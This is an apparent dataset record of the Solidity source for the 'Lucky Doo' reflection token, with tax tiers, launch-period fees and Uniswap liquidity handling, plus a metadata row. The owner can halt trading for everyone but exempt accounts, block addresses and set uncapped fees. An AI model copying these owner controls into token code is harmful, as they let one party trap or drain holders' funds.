uint8 holdersFeeOnSell;
}
// Launch taxes
bool private _isLaunched;
uint256 private _launchStartTimestamp;
uint256 private _launchBlockNumber;
CustomTaxPeriod private _launch1 = CustomTaxPeriod('launch1',5,0,100,1,0,4,0,2,0,3,0,2);
CustomTaxPeriod private _launch2 = CustomTaxPeriod('launch2',0,3600,1,2,4,10,2,3,3,10,2,5);
CustomTaxPeriod private _launch3 = CustomTaxPeriod('launch3',0,86400,1,2,4,8,2,3,3,10,2,4);
// Base taxes
CustomTaxPeriod private _default = CustomTaxPeriod('default',0,0,1,1,4,4,2,2,3,3,2,2);
CustomTaxPeriod private _base = CustomTaxPeriod('base',0,0,1,1,4,4,2,2,3,3,2,2);
uint256 private constant _blockedTimeLimit = 172800;
mapping (address => bool) private _isAllowedToTradeWhenDisabled;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcludedFromMaxWalletLimit;
mapping (address => bool) private _isExcludedFromMaxTransactionLimit;
mapping (address => bool) private _isExcludedFromDividends;
mapping (address => bool) private _isBlocked;
mapping (address => bool) public automatedMarketMakerPairs;
address[] private _excludedFromDividends;
uint8 private _liquidityFee;
uint8 private _devFee;
uint8 private _marketingFee;
uint8 private _buyBackFee;
uint8 private _holdersFee;
uint8 private _totalFee;
event AutomatedMarketMakerPairChange(address indexed pair, bool indexed value);
event UniswapV2RouterChange(address indexed newAddress, address indexed oldAddress);
event WalletChange(string indexed indentifier, address indexed newWallet, address indexed oldWallet);
event FeeChange(string indexed identifier, uint8 liquidityFee, uint8 marketingFee, uint8 devFee, uint8 buyBackFee, uint8 holdersFee);
event CustomTaxPeriodChange(uint256 indexed newValue, uint256 indexed oldValue, string indexed taxType, bytes23 period);
event BlockedAccountChange(address indexed holder, bool indexed status);
event MaxWalletAmountChange(uint256 indexed newValue, uint256 indexed oldValue);
event MaxTransactionAmountChange(uint256 indexed newValue, uint256 indexed oldValue);
event ExcludeFromFeesChange(address indexed account, bool isExcluded);
event ExcludeFromMaxTransferChange(address indexed account, bool isExcluded);
event ExcludeFromMaxWalletChange(address indexed account, bool isExcluded);
event ExcludeFromDividendsChange(address indexed account, bool isExcluded);
event AllowedWhenTradingDisabledChange(address indexed account, bool isExcluded);
event MinTokenAmountBeforeSwapChange(uint256 indexed newValue, uint256 indexed oldValue);
event SwapAndLiquify(uint256 tokensSwapped, uint256 ethReceived,uint256 tokensIntoLiqudity);
event ClaimETHOverflow(uint256 amount);
event FeesApplied(uint8 liquidityFee, uint8 marketingFee, uint8 devFee, uint8 buyBackFee, uint8 holdersFee, uint8 totalFee);
constructor() {
liquidityWallet = owner();
marketingWallet = owner();
devWallet = owner();
buyBackWallet = owner();
IRouter _uniswapV2Router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address _uniswapV2Pair = IFactory(_uniswapV2Router.factory()).createPair(
address(this),
_uniswapV2Router.WETH()
);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = _uniswapV2Pair;
_setAutomatedMarketMakerPair(_uniswapV2Pair, true);
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
excludeFromDividends(address(this), true);
excludeFromDividends(address(dead), true);
excludeFromDividends(address(_uniswapV2Router), true);
_isAllowedToTradeWhenDisabled[owner()] = true;
_isExcludedFromMaxWalletLimit[_uniswapV2Pair] = true;
_isExcludedFromMaxWalletLimit[address(uniswapV2Router)] = true;
_isExcludedFromMaxWalletLimit[address(this)] = true;
_isExcludedFromMaxWalletLimit[owner()] = true;
_isExcludedFromMaxTransactionLimit[address(this)] = true;
_isExcludedFromMaxTransactionLimit[address(dead)] = true;
_isExcludedFromMaxTransactionLimit[owner()] = true;
_rOwned[owner()] = _rTotal;
emit Transfer(address(0), owner(), _tTotal);
}
receive() external payable {}
// Setters
function transfer(address recipient, uint256 amount) external override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom( address sender,address recipient,uint256 amount) external override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) external virtual returns (bool){
_approve(_msgSender(),spender,_allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) external virtual returns (bool) {
_approve(_msgSender(),spender,_allowances[_msgSender()][spender].sub(subtractedValue,"ERC20: decreased allowance below zero"));
return true;
}
function _approve(address owner,address spender,uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _getNow() private view returns (uint256) {
return block.timestamp;
}
function launch() external onlyOwner {
_launchStartTimestamp = _getNow();
_launchBlockNumber = block.number;
isTradingEnabled = true;
_isLaunched = true;
}
function cancelLaunch() external onlyOwner {
require(this.isInLaunch(), "LuckyDooToken: Launch is not set");
_launchStartTimestamp = 0;
_launchBlockNumber = 0;
_isLaunched = false;
}
function activateTrading() external onlyOwner {
isTradingEnabled = true;
}
function deactivateTrading() external onlyOwner {
isTradingEnabled = false;
_tradingPausedTimestamp = _getNow();
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
require(automatedMarketMakerPairs[pair] != value, "LuckyDooToken: Automated market maker pair is already set to that value");
automatedMarketMakerPairs[pair] = value;
emit AutomatedMarketMakerPairChange(pair, value);
}
function allowTradingWhenDisabled(address account, bool allowed) external onlyOwner {
_isAllowedToTradeWhenDisabled[account] = allowed;
emit AllowedWhenTradingDisabledChange(account, allowed);
}
function excludeFromFees(address account, bool excluded) external onlyOwner {
require(_isExcludedFromFee[account] != excluded, "LuckyDooToken: Account is already the value of 'excluded'");
_isExcludedFromFee[account] = excluded;
emit ExcludeFromFeesChange(account, excluded);
}
function excludeFromMaxWalletLimit(address account, bool excluded) external onlyOwner {
require(_isExcludedFromMaxWalletLimit[account] != excluded, "LuckyDooToken: Account is already the value of 'excluded'");
_isExcludedFromMaxWalletLimit[account] = excluded;
emit ExcludeFromMaxWalletChange(account, excluded);
}
function excludeFromMaxTransactionLimit(address account, bool excluded) external onlyOwner {
require(_isExcludedFromMaxTransactionLimit[account] != excluded, "LuckyDooToken: Account is already the value of 'excluded'");
_isExcludedFromMaxTransactionLimit[account] = excluded;
emit ExcludeFromMaxTransferChange(account, excluded);
}
function blockAccount(address account) external onlyOwner {
uint256 currentTimestamp = _getNow();
require(!_isBlocked[account], "LuckyDooToken: Account is already blocked");
if (_isLaunched) {
require((currentTimestamp - _launchStartTimestamp) < _blockedTimeLimit, "LuckyDooToken: Time to block accounts has expired");
}
_isBlocked[account] = true;
emit BlockedAccountChange(account, true);
}
function unblockAccount(address account) external onlyOwner {
require(_isBlocked[account], "LuckyDooToken: Account is not blcoked");
_isBlocked[account] = false;
emit BlockedAccountChange(account, false);
}
function setWallets(address newLiquidityWallet, address newDevWallet, address newMarketingWallet, address newBuyBackWallett) external onlyOwner {
if(liquidityWallet != newLiquidityWallet) {
require(newLiquidityWallet != address(0), "LuckyDooToken: The liquidityWallet cannot be 0");
emit WalletChange('liquidityWallet', newLiquidityWallet, liquidityWallet);
liquidityWallet = newLiquidityWallet;
}
if(devWallet != newDevWallet) {
require(newDevWallet != address(0), "LuckyDooToken: The devWallet cannot be 0");
emit WalletChange('devWallet', newDevWallet, devWallet);
devWallet = newDevWallet;
}
if(marketingWallet != newMarketingWallet) {
require(newMarketingWallet != address(0), "LuckyDooToken: The marketingWallet cannot be 0");
emit WalletChange('marketingWallet', newMarketingWallet, marketingWallet);
marketingWallet = newMarketingWallet;
}
if(buyBackWallet != newBuyBackWallett) {
require(newBuyBackWallett != address(0), "LuckyDooToken: The buyBackWallet cannot be 0");
emit WalletChange('buyBackWallet', newBuyBackWallett, buyBackWallet);
buyBackWallet = newBuyBackWallett;
}
}
// Base fees
function setBaseFeesOnBuy(uint8 _liquidityFeeOnBuy, uint8 _marketingFeeOnBuy, uint8 _devFeeOnBuy, uint8 _buyBackFeeOnBuy, uint8 _holdersFeeOnBuy) external onlyOwner {
_setCustomBuyTaxPeriod(_base, _liquidityFeeOnBuy, _marketingFeeOnBuy, _devFeeOnBuy, _buyBackFeeOnBuy, _holdersFeeOnBuy);
emit FeeChange('baseFees-Buy', _liquidityFeeOnBuy, _marketingFeeOnBuy, _devFeeOnBuy, _buyBackFeeOnBuy, _holdersFeeOnBuy);
}
function setBaseFeesOnSell(uint8 _liquidityFeeOnSell, uint8 _marketingFeeOnSell, uint8 _devFeeOnSell, uint8 _buyBackFeeOnSell, uint8 _holdersFeeOnSell) external onlyOwner {
_setCustomSellTaxPeriod(_base, _liquidityFeeOnSell, _marketingFeeOnSell, _devFeeOnSell, _buyBackFeeOnSell, _holdersFeeOnSell);
emit FeeChange('baseFees-Sell', _liquidityFeeOnSell, _marketingFeeOnSell, _devFeeOnSell, _buyBackFeeOnSell, _holdersFeeOnSell);
}
//Launch2 Fees
function setLaunch2FeesOnBuy(uint8 _liquidityFeeOnBuy, uint8 _marketingFeeOnBuy, uint8 _devFeeOnBuy, uint8 _buyBackFeeOnBuy, uint8 _holdersFeeOnBuy) external onlyOwner {
_setCustomBuyTaxPeriod(_launch2, _liquidityFeeOnBuy, _marketingFeeOnBuy, _devFeeOnBuy, _buyBackFeeOnBuy, _holdersFeeOnBuy);
emit FeeChange('launch2Fees-Buy', _liquidityFeeOnBuy, _marketingFeeOnBuy, _devFeeOnBuy, _buyBackFeeOnBuy, _holdersFeeOnBuy);
}
function setLaunch2FeesOnSell(uint8 _liquidityFeeOnSell, uint8 _marketingFeeOnSell, uint8 _devFeeOnSell, uint8 _buyBackFeeOnSell, uint8 _holdersFeeOnSell) external onlyOwner {
_setCustomSellTaxPeriod(_launch2, _liquidityFeeOnSell, _marketingFeeOnSell, _devFeeOnSell, _buyBackFeeOnSell, _holdersFeeOnSell);
emit FeeChange('launch2Fees-Sell', _liquidityFeeOnSell, _marketingFeeOnSell, _devFeeOnSell, _buyBackFeeOnSell, _holdersFeeOnSell);
}
//Launch3 Fees
function setLaunch3FeesOnBuy(uint8 _liquidityFeeOnBuy, uint8 _marketingFeeOnBuy, uint8 _devFeeOnBuy, uint8 _buyBackFeeOnBuy, uint8 _holdersFeeOnBuy) external onlyOwner {
_setCustomBuyTaxPeriod(_launch3, _liquidityFeeOnBuy, _marketingFeeOnBuy, _devFeeOnBuy, _buyBackFeeOnBuy, _holdersFeeOnBuy);
emit FeeChange('launch3Fees-Buy', _liquidityFeeOnBuy, _marketingFeeOnBuy, _devFeeOnBuy, _buyBackFeeOnBuy, _holdersFeeOnBuy);
}
function setLaunch3FeesOnSell(uint8 _liquidityFeeOnSell, uint8 _marketingFeeOnSell, uint8 _devFeeOnSell, uint8 _buyBackFeeOnSell, uint8 _holdersFeeOnSell) external onlyOwner {
_setCustomSellTaxPeriod(_launch3, _liquidityFeeOnSell, _marketingFeeOnSell, _devFeeOnSell, _buyBackFeeOnSell, _holdersFeeOnSell);
emit FeeChange('launch3Fees-Sell', _liquidityFeeOnSell, _marketingFeeOnSell, _devFeeOnSell, _buyBackFeeOnSell, _holdersFeeOnSell);
}
function setMaxWalletAmount(uint256 newValue) external onlyOwner {
require(newValue != maxWalletAmount, "LuckyDooToken: Cannot update maxWalletAmount to same value");
emit MaxWalletAmountChange(newValue, maxWalletAmount);
maxWalletAmount = newValue;
}
function setMaxTransactionAmount(uint256 newValue) external onlyOwner {
require(newValue != maxTxAmount, "LuckyDooToken: Cannot update maxTxAmount to same value");
emit MaxTransactionAmountChange(newValue, maxTxAmount);
maxTxAmount = newValue;
}
function excludeFromDividends(address account, bool excluded) public onlyOwner {
require(_isExcludedFromDividends[account] != excluded, "LuckyDooToken: Account is already the value of 'excluded'");
if(excluded) {
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcludedFromDividends[account] = excluded;
_excludedFromDividends.push(account);
} else {
for (uint256 i = 0; i < _excludedFromDividends.length; i++) {
if (_excludedFromDividends[i] == account) {
_excludedFromDividends[i] = _excludedFromDividends[_excludedFromDividends.length - 1];
_tOwned[account] = 0;
_isExcludedFromDividends[account] = false;
_excludedFromDividends.pop();
break;
}
}
}
emit ExcludeFromDividendsChange(account, excluded);
}
function setMinimumTokensBeforeSwap(uint256 newValue) external onlyOwner {
require(newValue != minimumTokensBeforeSwap, "LuckyDooToken: Cannot update minimumTokensBeforeSwap to same value");
emit MinTokenAmountBeforeSwapChange(newValue, minimumTokensBeforeSwap);
minimumTokensBeforeSwap = newValue;
}
function claimETHOverflow() external onlyOwner {
require(address(this).balance > 0, "LuckyDooToken: Cannot send more than contract balance");
uint256 amount = address(this).balance;
(bool success,) = address(owner()).call{value : amount}("");
if (success){
emit ClaimETHOverflow(amount);
}
}
// Getters
function name() external view returns (string memory) {
return _name;
}
function symbol() external view returns (string memory) {
return _symbol;
}
function decimals() external view virtual returns (uint8) {
return _decimals;
}
function totalSupply() external view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcludedFromDividends[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function totalFees() external view returns (uint256) {
return _tFeeTotal;
}
function allowance(address owner, address spender) external view override returns (uint256) {
return _allowances[owner][spender];
}
function isInLaunch() external view returns (bool) {
uint256 currentTimestamp = !isTradingEnabled && _tradingPausedTimestamp > _launchStartTimestamp ? _tradingPausedTimestamp : _getNow();
uint256 totalLaunchTime = _launch1.timeInPeriod + _launch2.timeInPeriod + _launch3.timeInPeriod;
if(_isLaunched && ((currentTimestamp - _launchStartTimestamp) < totalLaunchTime || (block.number - _launchBlockNumber) < _launch1.blocksInPeriod )) {
return true;
} else {
return false;
}
}
function getBaseBuyFees() external view returns (uint256, uint256, uint256, uint256, uint256){
return (_base.liquidityFeeOnBuy, _base.marketingFeeOnBuy, _base.devFeeOnBuy, _base.buyBackFeeOnBuy, _base.holdersFeeOnBuy);
}
function getBaseSellFees() external view returns (uint256, uint256, uint256, uint256, uint256){
return (_base.liquidityFeeOnSell, _base.marketingFeeOnSell, _base.devFeeOnSell, _base.buyBackFeeOnSell, _base.holdersFeeOnSell);
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "LuckyDooToken: Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount / currentRate;
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) external view returns (uint256) {
require(tAmount <= _tTotal, "LuckyDooToken: Amount must be less than supply");
uint256 currentRate = _getRate();
uint256 rAmount = tAmount * currentRate;
if (!deductTransferFee) {
return rAmount;
}
else {
uint256 rTotalFee = tAmount * _totalFee / 100 * currentRate;
uint256 rTransferAmount = rAmount - rTotalFee;
return rTransferAmount;
}
}
// Main
function _transfer(
address from,
address to,
uint256 amount
) internal {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(amount <= balanceOf(from), "LuckyDooToken: Cannot transfer more than balance");
bool isBuyFromLp = automatedMarketMakerPairs[from];
bool isSelltoLp = automatedMarketMakerPairs[to];
bool _isInLaunch = this.isInLaunch();
if(!_isAllowedToTradeWhenDisabled[from] && !_isAllowedToTradeWhenDisabled[to]) {
require(isTradingEnabled, "LuckyDooToken: Trading is currently disabled.");
require(!_isBlocked[to], "LuckyDooToken: Account is blocked");
require(!_isBlocked[from], "LuckyDooToken: Account is blocked");
if (!_isExcludedFromMaxTransactionLimit[to] && !_isExcludedFromMaxTransactionLimit[from]) {
require(amount <= maxTxAmount, "LuckyDooToken: Transfer amount exceeds the maxTxAmount.");
}
if (!_isExcludedFromMaxWalletLimit[to]) {
require((balanceOf(to) + amount) <= maxWalletAmount, "LuckyDooToken: Expected wallet amount exceeds the maxWalletAmount.");
}
}
_adjustTaxes(isBuyFromLp, isSelltoLp, _isInLaunch);
bool canSwap = balanceOf(address(this)) >= minimumTokensBeforeSwap;
if (
isTradingEnabled &&
canSwap &&
!_swapping &&
_totalFee > 0 &&
automatedMarketMakerPairs[to] &&
from != liquidityWallet && to != liquidityWallet &&
from != devWallet && to != devWallet &&
from != marketingWallet && to != marketingWallet &&
from != buyBackWallet && to != buyBackWallet
) {
_swapping = true;
_swapAndLiquify();
_swapping = false;
}
bool takeFee = !_swapping && isTradingEnabled;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function _tokenTransfer(address sender,address recipient, uint256 tAmount, bool takeFee) private {
(uint256 tTransferAmount,uint256 tFee, uint256 tOther) = _getTValues(tAmount, takeFee);
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 rOther) = _getRValues(tAmount, tFee, tOther, _getRate());
if (_isExcludedFromDividends[sender]) {
_tOwned[sender] = _tOwned[sender] - tAmount;
}
if (_isExcludedFromDividends[recipient]) {
_tOwned[recipient] = _tOwned[recipient] + tTransferAmount;
}
_rOwned[sender] = _rOwned[sender] - rAmount;
_rOwned[recipient] = _rOwned[recipient] + rTransferAmount;
_takeContractFees(rOther, tOther);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal -= rFee;
_tFeeTotal += tFee;
}
function _getTValues(uint256 tAmount, bool takeFee) private view returns (uint256,uint256,uint256){
if (!takeFee) {
return (tAmount, 0, 0);
}
else {
uint256 tFee = tAmount * _holdersFee / 100;
uint256 tOther = tAmount * (_liquidityFee + _devFee + _marketingFee + _buyBackFee) / 100;
uint256 tTransferAmount = tAmount - (tFee + tOther);
return (tTransferAmount, tFee, tOther);
}
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tOther,
uint256 currentRate
) private pure returns ( uint256, uint256, uint256, uint256) {
uint256 rAmount = tAmount * currentRate;
uint256 rFee = tFee * currentRate;
uint256 rOther = tOther * currentRate;
uint256 rTransferAmount = rAmount - (rFee + rOther);
return (rAmount, rTransferAmount, rFee, rOther);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excludedFromDividends.length; i++) {
if (
_rOwned[_excludedFromDividends[i]] > rSupply ||
_tOwned[_excludedFromDividends[i]] > tSupply
) return (_rTotal, _tTotal);
rSupply = rSupply - _rOwned[_excludedFromDividends[i]];
tSupply = tSupply - _tOwned[_excludedFromDividends[i]];
}
if (rSupply < _rTotal / _tTotal) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _takeContractFees(uint256 rOther, uint256 tOther) private {
if (_isExcludedFromDividends[address(this)]) {
_tOwned[address(this)] += tOther;
}
_rOwned[address(this)] += rOther;
}
function _adjustTaxes(bool isBuyFromLp, bool isSelltoLp, bool isLaunching) private {
uint256 blocksSinceLaunch = block.number - _launchBlockNumber;
uint256 currentTimestamp = !isTradingEnabled && _tradingPausedTimestamp > _launchStartTimestamp ? _tradingPausedTimestamp : _getNow();
uint256 timeSinceLaunch = currentTimestamp - _launchStartTimestamp;
_liquidityFee = 0;
_devFee = 0;
_marketingFee = 0;
_buyBackFee = 0;
_holdersFee = 0;
if (isBuyFromLp) {
_liquidityFee = _base.liquidityFeeOnBuy;
_devFee = _base.devFeeOnBuy;
_marketingFee = _base.marketingFeeOnBuy;
_buyBackFee = _base.buyBackFeeOnBuy;
_holdersFee = _base.holdersFeeOnBuy;
if(isLaunching) {
if (_isLaunched && blocksSinceLaunch < _launch1.blocksInPeriod) {
_liquidityFee = _launch1.liquidityFeeOnBuy;
_devFee = _launch1.devFeeOnBuy;
_marketingFee = _launch1.marketingFeeOnBuy;
_buyBackFee = _launch1.buyBackFeeOnBuy;
_holdersFee = _launch1.holdersFeeOnBuy;
}
else if (_isLaunched && timeSinceLaunch <= _launch2.timeInPeriod && blocksSinceLaunch > _launch1.blocksInPeriod) {
_liquidityFee = _launch2.liquidityFeeOnBuy;
_devFee = _launch2.devFeeOnBuy;
_marketingFee = _launch2.marketingFeeOnBuy;
_buyBackFee = _launch2.buyBackFeeOnBuy;
_holdersFee = _launch2.holdersFeeOnBuy;
}
else {
_liquidityFee = _launch3.liquidityFeeOnBuy;
_devFee = _launch3.devFeeOnBuy;
_marketingFee = _launch3.marketingFeeOnBuy;
_buyBackFee = _launch3.buyBackFeeOnBuy;
_holdersFee = _launch3.holdersFeeOnBuy;
}
}
}
if (isSelltoLp) {
_liquidityFee = _base.liquidityFeeOnSell;
_devFee = _base.devFeeOnSell;
_marketingFee = _base.marketingFeeOnSell;
_buyBackFee = _base.buyBackFeeOnSell;
_holdersFee = _base.holdersFeeOnSell;
if(isLaunching) {
if (_isLaunched && blocksSinceLaunch < _launch1.blocksInPeriod) {
_liquidityFee = _launch1.liquidityFeeOnSell;
_devFee = _launch1.devFeeOnSell;
_marketingFee = _launch1.marketingFeeOnSell;
_buyBackFee = _launch1.buyBackFeeOnSell;
_holdersFee = _launch1.holdersFeeOnSell;
}
else if (_isLaunched && timeSinceLaunch <= _launch2.timeInPeriod && blocksSinceLaunch > _launch1.blocksInPeriod) {
_liquidityFee = _launch2.liquidityFeeOnSell;
_devFee = _launch2.devFeeOnSell;
_marketingFee = _launch2.marketingFeeOnSell;
_buyBackFee = _launch2.buyBackFeeOnSell;
_holdersFee = _launch2.holdersFeeOnSell;
}
else {
_liquidityFee = _launch3.liquidityFeeOnSell;
_devFee = _launch3.devFeeOnSell;
_marketingFee = _launch3.marketingFeeOnSell;
_buyBackFee = _launch3.buyBackFeeOnSell;
_holdersFee = _launch3.holdersFeeOnSell;
}
}
}
_totalFee = _liquidityFee + _marketingFee + _devFee + _buyBackFee + _holdersFee;
emit FeesApplied(_liquidityFee, _marketingFee, _devFee, _buyBackFee, _holdersFee, _totalFee);
}
function _setCustomSellTaxPeriod(CustomTaxPeriod storage map,
uint8 _liquidityFeeOnSell,
uint8 _marketingFeeOnSell,
uint8 _devFeeOnSell,
uint8 _buyBackFeeOnSell,
uint8 _holdersFeeOnSell
) private {
if (map.liquidityFeeOnSell != _liquidityFeeOnSell) {
emit CustomTaxPeriodChange(_liquidityFeeOnSell, map.liquidityFeeOnSell, 'liquidityFeeOnSell', map.periodName);
map.liquidityFeeOnSell = _liquidityFeeOnSell;
}
if (map.marketingFeeOnSell != _marketingFeeOnSell) {
emit CustomTaxPeriodChange(_marketingFeeOnSell, map.marketingFeeOnSell, 'marketingFeeOnSell', map.periodName);
map.marketingFeeOnSell = _marketingFeeOnSell;
}
if (map.devFeeOnSell != _devFeeOnSell) {
emit CustomTaxPeriodChange(_devFeeOnSell, map.devFeeOnSell, 'devFeeOnSell', map.periodName);
map.devFeeOnSell = _devFeeOnSell;
}
if (map.buyBackFeeOnSell != _buyBackFeeOnSell) {
emit CustomTaxPeriodChange(_buyBackFeeOnSell, map.buyBackFeeOnSell, 'buyBackFeeOnSell', map.periodName);
map.buyBackFeeOnSell = _buyBackFeeOnSell;
}
if (map.holdersFeeOnSell != _holdersFeeOnSell) {
emit CustomTaxPeriodChange(_holdersFeeOnSell, map.holdersFeeOnSell, 'holdersFeeOnSell', map.periodName);
map.holdersFeeOnSell = _holdersFeeOnSell;
}
}
function _setCustomBuyTaxPeriod(CustomTaxPeriod storage map,
uint8 _liquidityFeeOnBuy,
uint8 _marketingFeeOnBuy,
uint8 _devFeeOnBuy,
uint8 _buyBackFeeOnBuy,
uint8 _holdersFeeOnBuy
) private {
if (map.liquidityFeeOnBuy != _liquidityFeeOnBuy) {
emit CustomTaxPeriodChange(_liquidityFeeOnBuy, map.liquidityFeeOnBuy, 'liquidityFeeOnBuy', map.periodName);
map.liquidityFeeOnBuy = _liquidityFeeOnBuy;
}
if (map.marketingFeeOnBuy != _marketingFeeOnBuy) {
emit CustomTaxPeriodChange(_marketingFeeOnBuy, map.marketingFeeOnBuy, 'marketingFeeOnBuy', map.periodName);
map.marketingFeeOnBuy = _marketingFeeOnBuy;
}
if (map.devFeeOnBuy != _devFeeOnBuy) {
emit CustomTaxPeriodChange(_devFeeOnBuy, map.devFeeOnBuy, 'devFeeOnBuy', map.periodName);
map.devFeeOnBuy = _devFeeOnBuy;
}
if (map.buyBackFeeOnBuy != _buyBackFeeOnBuy) {
emit CustomTaxPeriodChange(_buyBackFeeOnBuy, map.buyBackFeeOnBuy, 'buyBackFeeOnBuy', map.periodName);
map.buyBackFeeOnBuy = _buyBackFeeOnBuy;
}
if (map.holdersFeeOnBuy != _holdersFeeOnBuy) {
emit CustomTaxPeriodChange(_holdersFeeOnBuy, map.holdersFeeOnBuy, 'holdersFeeOnBuy', map.periodName);
map.holdersFeeOnBuy = _holdersFeeOnBuy;
}
}
function _swapAndLiquify() private {
uint256 contractBalance = balanceOf(address(this));
uint256 initialETHBalance = address(this).balance;
uint8 totalFeePrior = _totalFee;
uint8 liquidityFeePrior = _liquidityFee;
uint8 marketingFeePrior = _marketingFee;
uint8 devFeePrior = _devFee;
uint8 buyBackFeePrior = _buyBackFee;
uint256 amountToLiquify = contractBalance * _liquidityFee / _totalFee / 2;
uint256 amountToSwapForETH = contractBalance - amountToLiquify;
_swapTokensForETH(amountToSwapForETH);
uint256 ETHBalanceAfterSwap = address(this).balance - initialETHBalance;
uint256 totalETHFee = _totalFee - (_liquidityFee / 2);
uint256 amountETHLiquidity = ETHBalanceAfterSwap * _liquidityFee / totalETHFee / 2;
uint256 amountETHDev = ETHBalanceAfterSwap * _devFee / totalETHFee;
uint256 amountETHBuyBack = ETHBalanceAfterSwap * _buyBackFee / totalETHFee;
uint256 amountETHMarketing = ETHBalanceAfterSwap - (amountETHLiquidity + amountETHDev + amountETHBuyBack);
payable(marketingWallet).transfer(amountETHMarketing);
payable(devWallet).transfer(amountETHDev);
payable(buyBackWallet).transfer(amountETHBuyBack);
if (amountToLiquify > 0) {
_addLiquidity(amountToLiquify, amountETHLiquidity);
emit SwapAndLiquify(amountToSwapForETH, amountETHLiquidity, amountToLiquify);
}
_totalFee = totalFeePrior;
_liquidityFee = liquidityFeePrior;
_marketingFee = marketingFeePrior;
_devFee = devFeePrior;
_buyBackFee = buyBackFeePrior;
}
function _swapTokensForETH(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function _addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
liquidityWallet,
block.timestamp
);
}
} | name | function name() external view returns (string memory) {
return _name;
}
| // Getters | LineComment | v0.8.13+commit.abaa5c0e | MIT | ipfs://3084574085aba8adf8bd6fa057454a217e2339c100aff7233b3e43e668854fbd | {
"func_code_index": [
15930,
16008
]
} | 1,311 |
||
LuckyDoo | LuckyDoo.sol | 0x78734a327b6d84b44c358cc42b2416967fe7a819 | Solidity | LuckyDoo | contract LuckyDoo is IERC20, Ownable {
using Address for address;
using SafeMath for uint256;
IRouter public uniswapV2Router;
address public immutable uniswapV2Pair;
string private constant _name = "Lucky Doo";
string private constant _symbol = "DOO";
uint8 private constant _decimals = 18;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 999000000000000 * 10**18;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
bool public isTradingEnabled;
uint256 private _tradingPausedTimestamp;
// max wallet is 2.0% of initialSupply
uint256 public maxWalletAmount = _tTotal * 200 / 10000;
// max tx is 0.53% of initialSupply
uint256 public maxTxAmount = _tTotal * 530 / 100000;
bool private _swapping;
// max wallet is 0.025% of initialSupply
uint256 public minimumTokensBeforeSwap = _tTotal * 250 / 1000000;
address private dead = 0x000000000000000000000000000000000000dEaD;
address public liquidityWallet;
address public marketingWallet;
address public devWallet;
address public buyBackWallet;
struct CustomTaxPeriod {
bytes23 periodName;
uint8 blocksInPeriod;
uint256 timeInPeriod;
uint8 liquidityFeeOnBuy;
uint8 liquidityFeeOnSell;
uint8 marketingFeeOnBuy;
uint8 marketingFeeOnSell;
uint8 devFeeOnBuy;
uint8 devFeeOnSell;
uint8 buyBackFeeOnBuy;
uint8 buyBackFeeOnSell;
uint8 holdersFeeOnBuy;
uint8 holdersFeeOnSell;
}
// Launch taxes
bool private _isLaunched;
uint256 private _launchStartTimestamp;
uint256 private _launchBlockNumber;
CustomTaxPeriod private _launch1 = CustomTaxPeriod('launch1',5,0,100,1,0,4,0,2,0,3,0,2);
CustomTaxPeriod private _launch2 = CustomTaxPeriod('launch2',0,3600,1,2,4,10,2,3,3,10,2,5);
CustomTaxPeriod private _launch3 = CustomTaxPeriod('launch3',0,86400,1,2,4,8,2,3,3,10,2,4);
// Base taxes
CustomTaxPeriod private _default = CustomTaxPeriod('default',0,0,1,1,4,4,2,2,3,3,2,2);
CustomTaxPeriod private _base = CustomTaxPeriod('base',0,0,1,1,4,4,2,2,3,3,2,2);
uint256 private constant _blockedTimeLimit = 172800;
mapping (address => bool) private _isAllowedToTradeWhenDisabled;
